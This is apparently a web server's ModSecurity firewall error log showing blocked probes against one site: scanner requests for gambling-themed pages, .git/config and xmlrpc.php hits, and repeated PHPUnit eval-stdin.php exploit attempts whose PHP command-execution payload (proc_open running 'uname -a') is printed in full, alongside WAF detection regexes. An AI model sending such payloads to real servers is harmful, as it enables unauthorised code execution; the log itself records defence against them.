[Mon May 11 05:01:48.079906 2026] [:error] [pid 65366:tid 65393] [client 75.119.155.172:20688] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agDyPKhVGdYzapDtv-HiSAAAANg"]
[Mon May 11 05:01:50.608684 2026] [:error] [pid 65366:tid 65378] [client 75.119.155.172:20702] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agDyPqhVGdYzapDtv-HiSgAAAMk"]
[Mon May 11 05:30:25.674946 2026] [:error] [pid 65366:tid 65386] [client 43.135.145.117:50672] [client 43.135.145.117] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "agD48ahVGdYzapDtv-HoJAAAANE"]
[Mon May 11 05:53:57.413042 2026] [:error] [pid 65366:tid 65385] [client 34.152.0.188:43258] [client 34.152.0.188] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "agD-dahVGdYzapDtv-HtuwAAANA"]
[Mon May 11 06:10:21.478709 2026] [:error] [pid 65259:tid 65282] [client 157.245.196.165:58590] [client 157.245.196.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agECTQPsXLnMa32ma5BSwAAAAA4"]
[Mon May 11 06:10:21.697486 2026] [:error] [pid 65259:tid 65270] [client 157.245.196.165:58593] [client 157.245.196.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agECTQPsXLnMa32ma5BSwQAAAAI"]
[Mon May 11 06:10:21.888578 2026] [:error] [pid 65259:tid 65286] [client 157.245.196.165:58596] [client 157.245.196.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agECTQPsXLnMa32ma5BSwgAAABI"]
[Mon May 11 06:10:22.288913 2026] [:error] [pid 65259:tid 65269] [client 157.245.196.165:58610] [client 157.245.196.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agECTgPsXLnMa32ma5BSwwAAAAE"]
[Mon May 11 06:10:22.685624 2026] [:error] [pid 9335:tid 9356] [client 157.245.196.165:58615] [client 157.245.196.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agECTnmXqumINT8bKREeHAAAARM"]
[Mon May 11 06:10:23.088568 2026] [:error] [pid 65259:tid 65289] [client 157.245.196.165:58624] [client 157.245.196.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agECTwPsXLnMa32ma5BSxAAAABU"]
[Mon May 11 10:49:31.500044 2026] [:error] [pid 9335:tid 9338] [client 34.78.85.13:46360] [client 34.78.85.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "agFDu3mXqumINT8bKRFTMgAAAQE"]
[Mon May 11 12:22:51.058697 2026] [:error] [pid 35052:tid 35064] [client 111.230.233.46:60574] [client 111.230.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "agFZm-HjpNNnFJrMXu3XMwAAAUk"]
[Mon May 11 13:44:24.431643 2026] [:error] [pid 65259:tid 65276] [client 183.81.189.242:64727] [client 183.81.189.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.81.189.242, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "agFsuAPsXLnMa32ma5B4oQAAAAg"]
[Mon May 11 17:55:58.444374 2026] [:error] [pid 58616:tid 58652] [client 43.135.130.202:55668] [client 43.135.130.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "agGnrtnsbeF5ioCAecjfNgAAAMY"]
[Tue May 12 03:08:02.226957 2026] [:error] [pid 4645:tid 4649] [client 170.106.113.235:43562] [client 170.106.113.235] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "agIpEny4dxn8-Cx5vOX0vgAAAEE"]
[Tue May 12 13:38:30.077807 2026] [autoindex:error] [pid 39956:tid 39968] [client 20.17.162.191:62793] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue May 12 17:57:33.826384 2026] [:error] [pid 42143:tid 42160] [client 43.166.226.186:56550] [client 43.166.226.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "agL5jUS2WmK92iCO2L0BxQAAAU0"]
[Tue May 12 21:44:54.686863 2026] [:error] [pid 39956:tid 39981] [client 43.135.134.127:57654] [client 43.135.134.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "agMu1o2K3wZDsNji3MwS1QAAABA"]
[Wed May 13 02:18:11.122977 2026] [:error] [pid 39957:tid 40013] [client 43.130.78.203:32916] [client 43.130.78.203] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "agNu4-AfHHyq0DBh5BKv1wAAAFU"]
[Wed May 13 04:05:56.608816 2026] [:error] [pid 23782:tid 23830] [client 37.130.93.44:43687] [client 37.130.93.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.130.93.44, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "agOIJCBrKFYHXUGnR-ph8QAAAEk"]
[Wed May 13 10:32:56.439414 2026] [:error] [pid 23780:tid 23813] [client 42.200.231.39:24540] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "agPi2HXgOibPjrXgeTBc3wAAABM"]
[Wed May 13 10:32:59.560795 2026] [:error] [pid 23782:tid 23831] [client 42.200.231.39:44047] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "agPi2yBrKFYHXUGnR-qcwQAAAEo"]
[Wed May 13 10:33:02.162981 2026] [:error] [pid 23787:tid 23860] [client 42.200.231.39:8993] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agPi3h1cs5wE7VT6wirM5wAAAIw"]
[Wed May 13 10:33:05.040909 2026] [:error] [pid 23782:tid 23827] [client 42.200.231.39:61418] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agPi4SBrKFYHXUGnR-qczQAAAEY"]
[Wed May 13 10:33:07.759790 2026] [:error] [pid 23780:tid 23803] [client 42.200.231.39:56308] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agPi43XgOibPjrXgeTBc5AAAAAk"]
[Wed May 13 10:33:10.257814 2026] [:error] [pid 23787:tid 23865] [client 42.200.231.39:35779] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agPi5h1cs5wE7VT6wirM8AAAAJE"]
[Wed May 13 10:33:12.776549 2026] [:error] [pid 3259:tid 3271] [client 42.200.231.39:28665] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agPi6OWJB4YwcPVLeArCWAAAAQo"]
[Wed May 13 10:33:15.299846 2026] [:error] [pid 23887:tid 23902] [client 42.200.231.39:16132] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agPi69SKmvZJZkXBFDBCwgAAAMc"]
[Wed May 13 10:33:17.948802 2026] [:error] [pid 23887:tid 23912] [client 42.200.231.39:55089] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agPi7dSKmvZJZkXBFDBCzQAAANE"]
[Wed May 13 10:33:20.620399 2026] [:error] [pid 23887:tid 23895] [client 42.200.231.39:40220] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agPi8NSKmvZJZkXBFDBC0AAAAMA"]
[Wed May 13 10:33:23.275576 2026] [:error] [pid 23887:tid 23909] [client 42.200.231.39:48341] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agPi89SKmvZJZkXBFDBC1AAAAM4"]
[Wed May 13 10:33:25.507703 2026] [:error] [pid 23787:tid 23848] [client 42.200.231.39:63019] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agPi9R1cs5wE7VT6wirM-AAAAIA"]
[Wed May 13 10:33:28.413535 2026] [:error] [pid 23887:tid 23908] [client 42.200.231.39:25145] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "agPi-NSKmvZJZkXBFDBC2AAAAM0"]
[Wed May 13 10:33:31.289353 2026] [:error] [pid 23787:tid 23860] [client 42.200.231.39:23876] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agPi-x1cs5wE7VT6wirNAAAAAIw"]
[Wed May 13 10:33:34.088712 2026] [:error] [pid 23782:tid 23841] [client 42.200.231.39:40062] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agPi_iBrKFYHXUGnR-qc7QAAAFQ"]
[Wed May 13 10:33:37.048338 2026] [:error] [pid 23887:tid 23918] [client 42.200.231.39:10706] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agPjAdSKmvZJZkXBFDBC9gAAANc"]
[Wed May 13 10:33:39.737617 2026] [:error] [pid 23887:tid 23899] [client 42.200.231.39:62842] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agPjA9SKmvZJZkXBFDBC-wAAAMQ"]
[Wed May 13 10:33:42.221804 2026] [:error] [pid 23887:tid 23905] [client 42.200.231.39:56649] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "agPjBtSKmvZJZkXBFDBC_QAAAMo"]
[Wed May 13 10:33:44.567361 2026] [:error] [pid 23887:tid 23912] [client 42.200.231.39:4076] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "agPjCNSKmvZJZkXBFDBDAQAAANE"]
[Wed May 13 10:33:46.996439 2026] [:error] [pid 3259:tid 3275] [client 42.200.231.39:29588] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "agPjCuWJB4YwcPVLeArCfQAAAQ4"]
[Wed May 13 10:33:49.611116 2026] [:error] [pid 23887:tid 23919] [client 42.200.231.39:63056] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agPjDdSKmvZJZkXBFDBDDAAAANg"]
[Wed May 13 10:33:52.480905 2026] [:error] [pid 23787:tid 23856] [client 42.200.231.39:36910] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agPjEB1cs5wE7VT6wirNCwAAAIg"]
[Wed May 13 10:34:26.306132 2026] [:error] [pid 23782:tid 23824] [client 42.200.231.39:18450] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "agPjMiBrKFYHXUGnR-qdEwAAAEM"]
[Wed May 13 10:34:29.736830 2026] [:error] [pid 3259:tid 3277] [client 42.200.231.39:6594] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "agPjNeWJB4YwcPVLeArC1wAAARA"]
[Wed May 13 10:34:32.420666 2026] [:error] [pid 23887:tid 23900] [client 42.200.231.39:8048] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "agPjONSKmvZJZkXBFDBDPQAAAMU"]
